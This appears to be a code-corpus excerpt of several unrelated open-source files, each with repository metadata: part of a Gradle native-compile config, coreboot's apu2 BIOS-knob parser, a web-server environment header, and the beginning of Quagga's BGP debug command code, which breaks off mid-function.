return pchTasks.iterator().next().getOutputs().getFiles().getAsFileTree().matching(new PatternSet().include("**/*.pch", "**/*.gch"));
} else {
return new SimpleFileCollection();
}
}
});
}
binary.binaryInputs(task.getOutputs().getFiles().getAsFileTree().matching(new PatternSet().include("**/*.obj", "**/*.o")));
}
}
|
cams7/gradle-samples
|
plugin/language-native/src/main/groovy/org/gradle/language/nativeplatform/internal/CompileTaskConfig.java
|
Java
|
gpl-2.0
| 6,675
|
/*
* This file is part of the coreboot project.
*
* Copyright (C) 2018 PC Engines GmbH
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; version 2 of the License.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#include <ctype.h>
#include <stdint.h>
#include <console/console.h>
#include <program_loading.h>
#include <cbfs.h>
#include <commonlib/region.h>
#include <fmap.h>
#include "bios_knobs.h"
static char *bootorder_file = NULL;
size_t bootorder_file_len = 0;
static char * findstr(const char *s, const char *pattern)
{
char *result = (char *) s;
char *lpattern = (char *) pattern;
while (*result && *pattern ) {
if ( *lpattern == 0)
// the pattern matches return the pointer
return result;
if ( *result == 0)
// We're at the end of the file content but
// don't have a pattern match yet
return NULL;
if (*result == *lpattern ) {
// The string matches, simply advance
result++;
lpattern++;
} else {
// The string doesn't match restart the pattern
result++;
lpattern = (char *) pattern;
}
}
return NULL;
}
char *get_bootorder(void)
{
struct region_device bootorder_area;
if (!bootorder_file) {
if (CONFIG(SEABIOS_BOOTORDER_IN_FMAP)) {
if (fmap_locate_area_as_rdev("BOOTORDER", &bootorder_area)) {
printk(BIOS_WARNING, "Could not find bootorder area\n");
return NULL;
}
bootorder_file_len = region_device_sz(&bootorder_area);
bootorder_file = rdev_mmap_full(&bootorder_area);
} else {
bootorder_file = cbfs_map("bootorder", &bootorder_file_len);
}
}
if (bootorder_file == NULL)
printk(BIOS_INFO, "Could not get bootorder content\n");
if (bootorder_file_len != 4096)
printk(BIOS_INFO, "Wrong bootorder size.\n");
if (bootorder_file == NULL || bootorder_file_len != 4096)
return NULL;
return bootorder_file;
}
static u8 check_knob_value(const char *s)
{
char * token = NULL;
if (!bootorder_file && !get_bootorder())
return -1;
token = findstr(bootorder_file, s);
if (token) {
if (*token == '0') return 0;
if (*token == '1') return 1;
}
return -1;
}
u8 check_iommu(void)
{
u8 iommu;
iommu = check_knob_value("iommu");
switch (iommu) {
case 0:
return 0;
break;
case 1:
return 1;
break;
default:
printk(BIOS_INFO,
"Missing or invalid iommu knob, disable IOMMU.\n");
break;
}
return 0;
}
u8 check_console(void)
{
u8 scon;
//
// Find the serial console item
//
scon = check_knob_value("scon");
switch (scon) {
case 0:
return 0;
break;
case 1:
return 1;
break;
default:
printk(BIOS_INFO,
"Missing or invalid scon knob, enable console.\n");
break;
}
return 1;
}
int check_com2(void)
{
u8 com2en;
if (CONFIG(BOARD_PCENGINES_APU5))
return 0;
//
// Find the COM2 redirection item
//
com2en = check_knob_value("com2en");
switch (com2en) {
case 0:
return 0;
break;
case 1:
return 1;
break;
default:
printk(BIOS_INFO,
"Missing or invalid com2 knob, disable COM2 output.\n");
break;
}
return 0;
}
int check_boost(void)
{
u8 boost;
//
// Find the CPU boost item
//
boost = check_knob_value("boosten");
switch (boost) {
case 0:
return 0;
break;
case 1:
return 1;
break;
default:
printk(BIOS_INFO,
"Missing or invalid boost knob, disable CPU boost.\n");
break;
}
return 0;
}
static u8 check_uart(char uart_letter)
{
u8 uarten;
switch (uart_letter) {
case 'c':
uarten = check_knob_value("uartc");
break;
case 'd':
uarten = check_knob_value("uartd");
break;
default:
uarten = -1;
break;
}
switch (uarten) {
case 0:
return 0;
break;
case 1:
return 1;
break;
default:
printk(BIOS_INFO,
"Missing or invalid uart knob, disable port.\n");
break;
}
return 0;
}
inline u8 check_uartc(void)
{
return check_uart('c');
}
inline u8 check_uartd(void)
{
return check_uart('d');
}
u8 check_ehci0(void)
{
u8 ehci0;
//
// Find the EHCI0 item
//
ehci0 = check_knob_value("ehcien");
switch (ehci0) {
case 0:
return 0;
break;
case 1:
return 1;
break;
default:
printk(BIOS_INFO,
"Missing or invalid ehci0 knob, enable ehci0.\n");
break;
}
return 1;
}
u8 check_mpcie2_clk(void)
{
u8 mpcie2_clk;
//
// Find the mPCIe2 clock item
//
mpcie2_clk = check_knob_value("mpcie2_clk");
switch (mpcie2_clk) {
case 0:
return 0;
break;
case 1:
return 1;
break;
default:
printk(BIOS_INFO, "Missing or invalid mpcie2_clk knob, forcing"
" CLK of mPCIe2 slot is not enabled.\n");
break;
}
return 0;
}
u8 check_pciepm(void)
{
u8 pciepm;
//
// Find the mPCIe2 clock item
//
pciepm = check_knob_value("pciepm");
switch (pciepm) {
case 0:
return 0;
break;
case 1:
return 1;
break;
default:
printk(BIOS_INFO, "Missing or invalid pciepm knob, disabling"
"PCIe power management features.\n");
break;
}
return 0;
}
u8 check_pciereverse(void)
{
u8 pciereverse;
pciereverse = check_knob_value("pciereverse");
switch (pciereverse) {
case 0:
return 0;
break;
case 1:
return 1;
break;
default:
printk(BIOS_INFO, "Missing or invalid pciereverse knob, "
"PCIe order remains unchanged.\n");
break;
}
return 0;
}
u8 check_sd3_mode(void)
{
u8 sd3mode;
//
// Find the SD 3.0 mode item
//
sd3mode = check_knob_value("sd3mode");
switch (sd3mode) {
case 0:
return 0;
break;
case 1:
return 1;
break;
default:
printk(BIOS_INFO, "Missing or invalid sd3mode knob."
" Disable SD3.0 mode.\n");
break;
}
return 0;
}
static int _valid(char ch, int base)
{
char end = (base > 9) ? '9' : '0' + (base - 1);
/* all bases will be some subset of the 0-9 range */
if (ch >= '0' && ch <= end)
return 1;
/* Bases > 11 will also have to match in the a-z range */
if (base > 11) {
if (tolower(ch) >= 'a' &&
tolower(ch) <= 'a' + (base - 11))
return 1;
}
return 0;
}
/* Return the "value" of the character in the given base */
static int _offset(char ch, int base)
{
if (ch >= '0' && ch <= '9')
return ch - '0';
else
return 10 + tolower(ch) - 'a';
}
static unsigned long long int strtoull(const char *ptr, char **endptr, int base)
{
unsigned long long int ret = 0;
if (endptr != NULL)
*endptr = (char *) ptr;
/* Purge whitespace */
for( ; *ptr && isspace(*ptr); ptr++);
if (!*ptr)
return 0;
/* Determine the base */
if (base == 0) {
if (ptr[0] == '0' && (ptr[1] == 'x' || ptr[1] == 'X'))
base = 16;
else if (ptr[0] == '0') {
base = 8;
ptr++;
}
else
base = 10;
}
/* Base 16 allows the 0x on front - so skip over it */
if (base == 16) {
if (ptr[0] == '0' && (ptr[1] == 'x' || ptr[1] == 'X') &&
_valid(ptr[2], base))
ptr += 2;
}
for( ; *ptr && _valid(*ptr, base); ptr++)
ret = (ret * base) + _offset(*ptr, base);
if (endptr != NULL)
*endptr = (char *) ptr;
return ret;
}
static unsigned long int strtoul(const char *ptr, char **endptr, int base)
{
unsigned long long val = strtoull(ptr, endptr, base);
if (val > ULONG_MAX) return ULONG_MAX;
return val;
}
u16 get_watchdog_timeout(void)
{
u16 timeout;
if (!bootorder_file && !get_bootorder())
return -1;
timeout = (u16) strtoul(findstr(bootorder_file, "watchdog"), NULL, 16);
if (timeout > 0 && timeout < 60) {
printk(BIOS_WARNING, "Watchdog timeout set too low, "
"increasing to 60 seconds\n");
timeout = 60;
}
return timeout;
}
|
pcengines/coreboot
|
src/mainboard/pcengines/apu2/bios_knobs.c
|
C
|
gpl-2.0
| 7,669
|
/* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; version 2 of the License. For a copy,
* see http://www.gnu.org/licenses/gpl-2.0.html.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef _ENVIR_H
#define _ENVIR_H
#include "session.h"
#include "send.h"
int headerfield_to_environment(t_session *session, t_fcgi_buffer *fcgi_buffer, char *key, char *envir);
void set_environment(t_session *session, t_fcgi_buffer *fcgi_buffer);
#endif
|
Masq666/Araneum
|
envir.h
|
C
|
gpl-2.0
| 774
|
/* BGP-4, BGP-4+ packet debug routine
Copyright (C) 1996, 97, 99 Kunihiro Ishiguro
This file is part of GNU Zebra.
GNU Zebra is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation; either version 2, or (at your option) any
later version.
GNU Zebra is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public License
along with GNU Zebra; see the file COPYING. If not, write to the Free
Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
02111-1307, USA. */
#include <zebra.h>
#include <lib/version.h>
#include "prefix.h"
#include "linklist.h"
#include "stream.h"
#include "command.h"
#include "str.h"
#include "log.h"
#include "sockunion.h"
#include "memory.h"
#include "queue.h"
#include "filter.h"
#include "bgpd/bgpd.h"
#include "bgpd/bgp_aspath.h"
#include "bgpd/bgp_route.h"
#include "bgpd/bgp_attr.h"
#include "bgpd/bgp_debug.h"
#include "bgpd/bgp_community.h"
#include "bgpd/bgp_updgrp.h"
#include "bgpd/bgp_ecommunity.h"
#include "bgpd/bgp_rd.h"
#include "bgpd/bgp_mplsvpn.h"
#include "bgpd/bgp_evpn.h"
unsigned long conf_bgp_debug_as4;
unsigned long conf_bgp_debug_neighbor_events;
unsigned long conf_bgp_debug_events;
unsigned long conf_bgp_debug_packet;
unsigned long conf_bgp_debug_filter;
unsigned long conf_bgp_debug_keepalive;
unsigned long conf_bgp_debug_update;
unsigned long conf_bgp_debug_bestpath;
unsigned long conf_bgp_debug_zebra;
unsigned long conf_bgp_debug_allow_martians;
unsigned long conf_bgp_debug_nht;
unsigned long conf_bgp_debug_update_groups;
unsigned long term_bgp_debug_as4;
unsigned long term_bgp_debug_neighbor_events;
unsigned long term_bgp_debug_events;
unsigned long term_bgp_debug_packet;
unsigned long term_bgp_debug_filter;
unsigned long term_bgp_debug_keepalive;
unsigned long term_bgp_debug_update;
unsigned long term_bgp_debug_bestpath;
unsigned long term_bgp_debug_zebra;
unsigned long term_bgp_debug_allow_martians;
unsigned long term_bgp_debug_nht;
unsigned long term_bgp_debug_update_groups;
struct list *bgp_debug_neighbor_events_peers = NULL;
struct list *bgp_debug_keepalive_peers = NULL;
struct list *bgp_debug_update_out_peers = NULL;
struct list *bgp_debug_update_in_peers = NULL;
struct list *bgp_debug_update_prefixes = NULL;
struct list *bgp_debug_bestpath_prefixes = NULL;
struct list *bgp_debug_zebra_prefixes = NULL;
/* messages for BGP-4 status */
const struct message bgp_status_msg[] =
{
{ Idle, "Idle" },
{ Connect, "Connect" },
{ Active, "Active" },
{ OpenSent, "OpenSent" },
{ OpenConfirm, "OpenConfirm" },
{ Established, "Established" },
{ Clearing, "Clearing" },
{ Deleted, "Deleted" },
};
const int bgp_status_msg_max = BGP_STATUS_MAX;
/* BGP message type string. */
const char *bgp_type_str[] =
{
NULL,
"OPEN",
"UPDATE",
"NOTIFICATION",
"KEEPALIVE",
"ROUTE-REFRESH",
"CAPABILITY"
};
/* message for BGP-4 Notify */
static const struct message bgp_notify_msg[] =
{
{ BGP_NOTIFY_HEADER_ERR, "Message Header Error"},
{ BGP_NOTIFY_OPEN_ERR, "OPEN Message Error"},
{ BGP_NOTIFY_UPDATE_ERR, "UPDATE Message Error"},
{ BGP_NOTIFY_HOLD_ERR, "Hold Timer Expired"},
{ BGP_NOTIFY_FSM_ERR, "Neighbor Events Error"},
{ BGP_NOTIFY_CEASE, "Cease"},
{ BGP_NOTIFY_CAPABILITY_ERR, "CAPABILITY Message Error"},
};
static const int bgp_notify_msg_max = BGP_NOTIFY_MAX;
static const struct message bgp_notify_head_msg[] =
{
{ BGP_NOTIFY_HEADER_NOT_SYNC, "/Connection Not Synchronized"},
{ BGP_NOTIFY_HEADER_BAD_MESLEN, "/Bad Message Length"},
{ BGP_NOTIFY_HEADER_BAD_MESTYPE, "/Bad Message Type"}
};
static const int bgp_notify_head_msg_max = BGP_NOTIFY_HEADER_MAX;
static const struct message bgp_notify_open_msg[] =
{
{ BGP_NOTIFY_SUBCODE_UNSPECIFIC, "/Unspecific"},
{ BGP_NOTIFY_OPEN_UNSUP_VERSION, "/Unsupported Version Number" },
{ BGP_NOTIFY_OPEN_BAD_PEER_AS, "/Bad Peer AS"},
{ BGP_NOTIFY_OPEN_BAD_BGP_IDENT, "/Bad BGP Identifier"},
{ BGP_NOTIFY_OPEN_UNSUP_PARAM, "/Unsupported Optional Parameter"},
{ BGP_NOTIFY_OPEN_AUTH_FAILURE, "/Authentication Failure"},
{ BGP_NOTIFY_OPEN_UNACEP_HOLDTIME, "/Unacceptable Hold Time"},
{ BGP_NOTIFY_OPEN_UNSUP_CAPBL, "/Unsupported Capability"},
};
static const int bgp_notify_open_msg_max = BGP_NOTIFY_OPEN_MAX;
static const struct message bgp_notify_update_msg[] =
{
{ BGP_NOTIFY_SUBCODE_UNSPECIFIC, "/Unspecific"},
{ BGP_NOTIFY_UPDATE_MAL_ATTR, "/Malformed Attribute List"},
{ BGP_NOTIFY_UPDATE_UNREC_ATTR, "/Unrecognized Well-known Attribute"},
{ BGP_NOTIFY_UPDATE_MISS_ATTR, "/Missing Well-known Attribute"},
{ BGP_NOTIFY_UPDATE_ATTR_FLAG_ERR, "/Attribute Flags Error"},
{ BGP_NOTIFY_UPDATE_ATTR_LENG_ERR, "/Attribute Length Error"},
{ BGP_NOTIFY_UPDATE_INVAL_ORIGIN, "/Invalid ORIGIN Attribute"},
{ BGP_NOTIFY_UPDATE_AS_ROUTE_LOOP, "/AS Routing Loop"},
{ BGP_NOTIFY_UPDATE_INVAL_NEXT_HOP, "/Invalid NEXT_HOP Attribute"},
{ BGP_NOTIFY_UPDATE_OPT_ATTR_ERR, "/Optional Attribute Error"},
{ BGP_NOTIFY_UPDATE_INVAL_NETWORK, "/Invalid Network Field"},
{ BGP_NOTIFY_UPDATE_MAL_AS_PATH, "/Malformed AS_PATH"},
};
static const int bgp_notify_update_msg_max = BGP_NOTIFY_UPDATE_MAX;
static const struct message bgp_notify_cease_msg[] =
{
{ BGP_NOTIFY_SUBCODE_UNSPECIFIC, "/Unspecific"},
{ BGP_NOTIFY_CEASE_MAX_PREFIX, "/Maximum Number of Prefixes Reached"},
{ BGP_NOTIFY_CEASE_ADMIN_SHUTDOWN, "/Administratively Shutdown"},
{ BGP_NOTIFY_CEASE_PEER_UNCONFIG, "/Peer Unconfigured"},
{ BGP_NOTIFY_CEASE_ADMIN_RESET, "/Administratively Reset"},
{ BGP_NOTIFY_CEASE_CONNECT_REJECT, "/Connection Rejected"},
{ BGP_NOTIFY_CEASE_CONFIG_CHANGE, "/Other Configuration Change"},
{ BGP_NOTIFY_CEASE_COLLISION_RESOLUTION, "/Connection collision resolution"},
{ BGP_NOTIFY_CEASE_OUT_OF_RESOURCE, "/Out of Resource"},
};
static const int bgp_notify_cease_msg_max = BGP_NOTIFY_CEASE_MAX;
static const struct message bgp_notify_capability_msg[] =
{
{ BGP_NOTIFY_SUBCODE_UNSPECIFIC, "/Unspecific"},
{ BGP_NOTIFY_CAPABILITY_INVALID_ACTION, "/Invalid Action Value" },
{ BGP_NOTIFY_CAPABILITY_INVALID_LENGTH, "/Invalid Capability Length"},
{ BGP_NOTIFY_CAPABILITY_MALFORMED_CODE, "/Malformed Capability Value"},
};
static const int bgp_notify_capability_msg_max = BGP_NOTIFY_CAPABILITY_MAX;
/* Origin strings. */
const char *bgp_origin_str[] = {"i","e","?"};
const char *bgp_origin_long_str[] = {"IGP","EGP","incomplete"};
/* Given a string return a pointer the corresponding peer structure */
static struct peer *
bgp_find_peer (struct vty *vty, const char *peer_str)
{
int ret;
union sockunion su;
struct bgp *bgp;
struct peer *peer;
bgp = vty->index;
ret = str2sockunion (peer_str, &su);
/* 'swpX' string */
if (ret < 0)
{
peer = peer_lookup_by_conf_if (bgp, peer_str);
if (!peer)
peer = peer_lookup_by_hostname (bgp, peer_str);
return peer;
}
else
return peer_lookup (bgp, &su);
}
static void
bgp_debug_list_free(struct list *list)
{
struct bgp_debug_filter *filter;
struct listnode *node, *nnode;
if (list)
for (ALL_LIST_ELEMENTS (list, node, nnode, filter))
{
listnode_delete (list, filter);
if (filter->p)
prefix_free(filter->p);
if (filter->host)
XFREE (MTYPE_BGP_DEBUG_STR, filter->host);
XFREE (MTYPE_BGP_DEBUG_FILTER, filter);
}
}
/* Print the desc along with a list of peers/prefixes this debug is
* enabled for */
static void
bgp_debug_list_print (struct vty *vty, const char *desc, struct list *list)
{
struct bgp_debug_filter *filter;
struct listnode *node, *nnode;
char buf[INET6_ADDRSTRLEN];
vty_out (vty, "%s", desc);
if (list && !list_isempty(list))
{
vty_out (vty, " for");
for (ALL_LIST_ELEMENTS (list, node, nnode, filter))
{
if (filter->host)
vty_out (vty, " %s", filter->host);
if (filter->p)
vty_out (vty, " %s/%d",
inet_ntop (filter->p->family, &filter->p->u.prefix, buf, INET6_ADDRSTRLEN),
filter->p->prefixlen);
}
}
vty_out (vty, "%s", VTY_NEWLINE);
}
/* Print the command to enable the debug for each peer/prefix this debug is
* enabled for
*/
static int
bgp_debug_list_conf_print (struct vty *vty, const char *desc, struct list *list)
{
struct bgp_debug_filter *filter;
struct listnode *node, *nnode;
char buf[INET6_ADDRSTRLEN];
int write = 0;
if (list && !list_isempty(list))
{
for (ALL_LIST_ELEMENTS (list, node, nnode, filter))
{
if (filter->host)
{
vty_out (vty, "%s %s%s", desc, filter->host, VTY_NEWLINE);
write++;
}
if (filter->p)
{
vty_out (vty, "%s %s/%d%s", desc,
inet_ntop (filter->p->family, &filter->p->u.prefix, buf, INET6_ADDRSTRLEN),
filter->p->prefixlen, VTY_NEWLINE);
write++;
}
}
}
if (!write)
{
vty_out (vty, "%s%s", desc, VTY_NEWLINE);
write++;
}
return write;
}
static void
bgp_debug_list_add_entry(struct list *list, const char *host, struct prefix *p)
{
struct bgp_debug_filter *filter;
filter = XCALLOC (MTYPE_BGP_DEBUG_FILTER, sizeof (struct bgp_debug_filter));
if (host)
{
filter->host = XSTRDUP (MTYPE_BGP_DEBUG_STR, host);
filter->p = NULL;
}
else if (p)
{
filter->host = NULL;
filter->p = p;
}
listnode_add(list, filter);
}
static int
bgp_debug_list_remove_entry(struct list *list, const char *host, struct prefix *p)
{
struct bgp_debug_filter *filter;
struct listnode *node, *nnode;
for (ALL_LIST_ELEMENTS (list, node, nnode, filter))
{
if (host && strcmp (filter->host, host) == 0)
{
listnode_delete (list, filter);
XFREE (MTYPE_BGP_DEBUG_STR, filter->host);
XFREE (MTYPE_BGP_DEBUG_FILTER, filter);
return 1;
}
else if (p && filter->p->prefixlen == p->prefixlen && prefix_match(filter->p, p))
{
listnode_delete (list, filter);
prefix_free (filter->p);
XFREE (MTYPE_BGP_DEBUG_FILTER, filter);
return 1;
}
}
return 0;
}
static int
bgp_debug_list_has_entry(struct list *list, const char *host, struct prefix *p)
{
struct bgp_debug_filter *filter;
struct listnode *node, *nnode;
for (ALL_LIST_ELEMENTS (list, node, nnode, filter))
{
if (host)
{
if (strcmp (filter->host, host) == 0)
{
return 1;
}
}
else if (p)
{
if (filter->p->prefixlen == p->prefixlen && prefix_match(filter->p, p))
{
return 1;
}
}
}
return 0;
}
int
bgp_debug_peer_updout_enabled(char *host)
{
return (bgp_debug_list_has_entry(bgp_debug_update_out_peers, host, NULL));
}
/* Dump attribute. */
int
bgp_dump_attr (struct peer *peer, struct attr *attr, char *buf, size_t size)
{
if (! attr)
return 0;
if (CHECK_FLAG (attr->flag, ATTR_FLAG_BIT (BGP_ATTR_NEXT_HOP)))
snprintf (buf, size, "nexthop %s", inet_ntoa (attr->nexthop));
if (CHECK_FLAG (attr->flag, ATTR_FLAG_BIT (BGP_ATTR_ORIGIN)))
snprintf (buf + strlen (buf), size - strlen (buf), ", origin %s",
bgp_origin_str[attr->origin]);
#ifdef HAVE_IPV6
if (attr->extra)
{
char addrbuf[BUFSIZ];
/* Add MP case. */
if (attr->extra->mp_nexthop_len == BGP_ATTR_NHLEN_IPV6_GLOBAL
|| attr->extra->mp_nexthop_len == BGP_ATTR_NHLEN_IPV6_GLOBAL_AND_LL)
snprintf (buf + strlen (buf), size - strlen (buf), ", mp_nexthop %s",
inet_ntop (AF_INET6, &attr->extra->mp_nexthop_global,
addrbuf, BUFSIZ));
if (attr->extra->mp_nexthop_len == BGP_ATTR_NHLEN_IPV6_GLOBAL_AND_LL)
snprintf (buf + strlen (buf), size - strlen (buf), "(%s)",
inet_ntop (AF_INET6, &attr->extra->mp_nexthop_local,
addrbuf, BUFSIZ));
if (attr->extra->mp_nexthop_len == BGP_ATTR_NHLEN_IPV4)
snprintf (buf, size, "nexthop %s", inet_ntoa (attr->nexthop));
}
#endif /* HAVE_IPV6 */
if (CHECK_FLAG (attr->flag, ATTR_FLAG_BIT (BGP_ATTR_LOCAL_PREF)))
snprintf (buf + strlen (buf), size - strlen (buf), ", localpref %u",
attr->local_pref);
if (CHECK_FLAG (attr->flag, ATTR_FLAG_BIT (BGP_ATTR_MULTI_EXIT_DISC)))
snprintf (buf + strlen (buf), size - strlen (buf), ", metric %u",
attr->med);
if (CHECK_FLAG (attr->flag, ATTR_FLAG_BIT (BGP_ATTR_COMMUNITIES)))
snprintf (buf + strlen (buf), size - strlen (buf), ", community %s",
community_str (attr->community));
if (CHECK_FLAG (attr->flag, ATTR_FLAG_BIT (BGP_ATTR_EXT_COMMUNITIES)))
snprintf (buf + strlen (buf), size - strlen (buf), ", extcommunity %s",
ecommunity_str (attr->extra->ecommunity));
if (CHECK_FLAG (attr->flag, ATTR_FLAG_BIT (BGP_ATTR_ATOMIC_AGGREGATE)))
snprintf (buf + strlen (buf), size - strlen (buf), ", atomic-aggregate");
if (CHECK_FLAG (attr->flag, ATTR_FLAG_BIT (BGP_ATTR_AGGREGATOR)))
snprintf (buf + strlen (buf), size - strlen (buf), ", aggregated by %u %s",
attr->extra->aggregator_as,
inet_ntoa (attr->extra->aggregator_addr));
if (CHECK_FLAG (attr->flag, ATTR_FLAG_BIT (BGP_ATTR_ORIGINATOR_ID)))
snprintf (buf + strlen (buf), size - strlen (buf), ", originator %s",
inet_ntoa (attr->extra->originator_id));
if (CHECK_FLAG (attr->flag, ATTR_FLAG_BIT (BGP_ATTR_CLUSTER_LIST)))
{
int i;
snprintf (buf + strlen (buf), size - strlen (buf), ", clusterlist");
for (i = 0; i < attr->extra->cluster->length / 4; i++)
snprintf (buf + strlen (buf), size - strlen (buf), " %s",
inet_ntoa (attr->extra->cluster->list[i]));
}
if (CHECK_FLAG (attr->flag, ATTR_FLAG_BIT (BGP_ATTR_AS_PATH)))
snprintf (buf + strlen (buf), size - strlen (buf), ", path %s",
aspath_print (attr->aspath));
if (strlen (buf) > 1)
return 1;
else
return 0;
}
const char *
bgp_notify_code_str (char code)
{
return LOOKUP_DEF (bgp_notify_msg, code, "Unrecognized Error Code");
}
const char *
bgp_notify_subcode_str (char code, char subcode)
{
switch (code)
{
case BGP_NOTIFY_HEADER_ERR:
return LOOKUP_DEF (bgp_notify_head_msg, subcode,
"Unrecognized Error Subcode");
case BGP_NOTIFY_OPEN_ERR:
return LOOKUP_DEF (bgp_notify_open_msg, subcode,
"Unrecognized Error Subcode");
case BGP_NOTIFY_UPDATE_ERR:
return LOOKUP_DEF (bgp_notify_update_msg, subcode,
"Unrecognized Error Subcode");
case BGP_NOTIFY_HOLD_ERR:
break;
case BGP_NOTIFY_FSM_ERR:
break;
case BGP_NOTIFY_CEASE:
return LOOKUP_DEF (bgp_notify_cease_msg, subcode,
"Unrecognized Error Subcode");
case BGP_NOTIFY_CAPABILITY_ERR:
return LOOKUP_DEF (bgp_notify_capability_msg, subcode,
"Unrecognized Error Subcode");
}
return "";
}
/* dump notify packet */
void
bgp_notify_print(struct peer *peer, struct bgp_notify *bgp_notify,
const char *direct)
{
const char *subcode_str;
const char *code_str;
if (BGP_DEBUG (neighbor_events, NEIGHBOR_EVENTS) || bgp_flag_check (peer->bgp, BGP_FLAG_LOG_NEIGHBOR_CHANGES))
{
code_str = bgp_notify_code_str(bgp_notify->code);
subcode_str = bgp_notify_subcode_str(bgp_notify->code, bgp_notify->subcode);
zlog_info ("%%NOTIFICATION: %s neighbor %s %d/%d (%s%s) %d bytes %s",
strcmp (direct, "received") == 0 ? "received from" : "sent to",
peer->host, bgp_notify->code, bgp_notify->subcode,
code_str, subcode_str, bgp_notify->length,
bgp_notify->data ? bgp_notify->data : "");
}
}
static void
bgp_debug_clear_updgrp_update_dbg(struct bgp *bgp)
{
if (!bgp)
bgp = bgp_get_default();
update_group_walk (bgp, update_group_clear_update_dbg, NULL);
}
/* Debug option setting interface. */
unsigned long bgp_debug_option = 0;
int
debug (unsigned int option)
{
return bgp_debug_option & option;
}
DEFUN (debug_bgp_as4,
debug_bgp_as4_cmd,
"debug bgp as4",
DEBUG_STR
BGP_STR
"BGP AS4 actions\n")
{
if (vty->node == CONFIG_NODE)
DEBUG_ON (as4, AS4);
else
{
TERM_DEBUG_ON (as4, AS4);
vty_out (vty, "BGP as4 debugging is on%s", VTY_NEWLINE);
}
return CMD_SUCCESS;
}
DEFUN (no_debug_bgp_as4,
no_debug_bgp_as4_cmd,
"no debug bgp as4",
NO_STR
DEBUG_STR
BGP_STR
"BGP AS4 actions\n")
{
if (vty->node == CONFIG_NODE)
DEBUG_OFF (as4, AS4);
else
{
TERM_DEBUG_OFF (as4, AS4);
vty_out (vty, "BGP as4 debugging is off%s", VTY_NEWLINE);
}
return CMD_SUCCESS;
}
DEFUN (debug_bgp_as4_segment,
debug_bgp_as4_segment_cmd,
"debug bgp as4 segment",
DEBUG_STR
BGP_STR
"BGP AS4 actions\n"
"BGP AS4 aspath segment handling\n")
{
if (vty->node == CONFIG_NODE)
DEBUG_ON (as4, AS4_SEGMENT);
else
{
TERM_DEBUG_ON (as4, AS4_SEGMENT);
vty_out (vty, "BGP as4 segment debugging is on%s", VTY_NEWLINE);
}
return CMD_SUCCESS;
}
DEFUN (no_debug_bgp_as4_segment,
no_debug_bgp_as4_segment_cmd,
"no debug bgp as4 segment",
NO_STR
DEBUG_STR
BGP_STR
"BGP AS4 actions\n"
"BGP AS4 aspath segment handling\n")
{
if (vty->node == CONFIG_NODE)
DEBUG_OFF (as4, AS4_SEGMENT);
else
{
TERM_DEBUG_OFF (as4, AS4_SEGMENT);
vty_out (vty, "BGP as4 segment debugging is off%s", VTY_NEWLINE);
}
return CMD_SUCCESS;
}
/* debug bgp neighbor_events */
DEFUN (debug_bgp_neighbor_events,
debug_bgp_neighbor_events_cmd,
"debug bgp neighbor-events",
DEBUG_STR
BGP_STR
"BGP Neighbor Events\n")
{
bgp_debug_list_free(bgp_debug_neighbor_events_peers);
if (vty->node == CONFIG_NODE)
DEBUG_ON (neighbor_events, NEIGHBOR_EVENTS);
else
{
TERM_DEBUG_ON (neighbor_events, NEIGHBOR_EVENTS);
vty_out (vty, "BGP neighbor-events debugging is on%s", VTY_NEWLINE);
}
return CMD_SUCCESS;
}
DEFUN (debug_bgp_neighbor_events_peer,
debug_bgp_neighbor_events_peer_cmd,
"debug bgp neighbor-events (A.B.C.D|X:X::X:X|WORD)",
DEBUG_STR
BGP_STR
"BGP Neighbor Events\n"
"BGP neighbor IP address to debug\n"
"BGP IPv6 neighbor to debug\n"
"BGP neighbor on interface to debug\n")
{
const char *host = argv[0];
if (!bgp_debug_neighbor_events_peers)
bgp_debug_neighbor_events_peers = list_new ();
if (bgp_debug_list_has_entry(bgp_debug_neighbor_events_peers, host, NULL))
{
vty_out (vty, "BGP neighbor-events debugging is already enabled for %s%s", host, VTY_NEWLINE);
return CMD_SUCCESS;
}
bgp_debug_list_add_entry(bgp_debug_neighbor_events_peers, host, NULL);
if (vty->node == CONFIG_NODE)
DEBUG_ON (neighbor_events, NEIGHBOR_EVENTS);
else
{
TERM_DEBUG_ON (neighbor_events, NEIGHBOR_EVENTS);
vty_out (vty, "BGP neighbor-events debugging is on for %s%s", host, VTY_NEWLINE);
}
return CMD_SUCCESS;
}
DEFUN (no_debug_bgp_neighbor_events,
no_debug_bgp_neighbor_events_cmd,
"no debug bgp neighbor-events",
NO_STR
DEBUG_STR
BGP_STR
"Neighbor Events\n")
{
bgp_debug_list_free(bgp_debug_neighbor_events_peers);
if (vty->node == CONFIG_NODE)
DEBUG_OFF (neighbor_events, NEIGHBOR_EVENTS);
else
{
TERM_DEBUG_OFF (neighbor_events, NEIGHBOR_EVENTS);
vty_out (vty, "BGP neighbor-events debugging is off%s", VTY_NEWLINE);
}
return CMD_SUCCESS;
}
DEFUN (no_debug_bgp_neighbor_events_peer,
no_debug_bgp_neighbor_events_peer_cmd,
"no debug bgp neighbor-events (A.B.C.D|X:X::X:X|WORD)",
NO_STR
DEBUG_STR
BGP_STR
"Neighbor Events\n"
"BGP neighbor IP address to debug\n"
"BGP IPv6 neighbor to debug\n"
"BGP neighbor on interface to debug\n")
{
int found_peer = 0;
const char *host = argv[0];
if (bgp_debug_neighbor_events_peers && !list_isempty(bgp_debug_neighbor_events_peers))
{
found_peer = bgp_debug_list_remove_entry(bgp_debug_neighbor_events_peers, host, NULL);
if (list_isempty(bgp_debug_neighbor_events_peers))
{
if (vty->node == CONFIG_NODE)
DEBUG_OFF (neighbor_events, NEIGHBOR_EVENTS);
else
TERM_DEBUG_OFF (neighbor_events, NEIGHBOR_EVENTS);
}
}
if (found_peer)
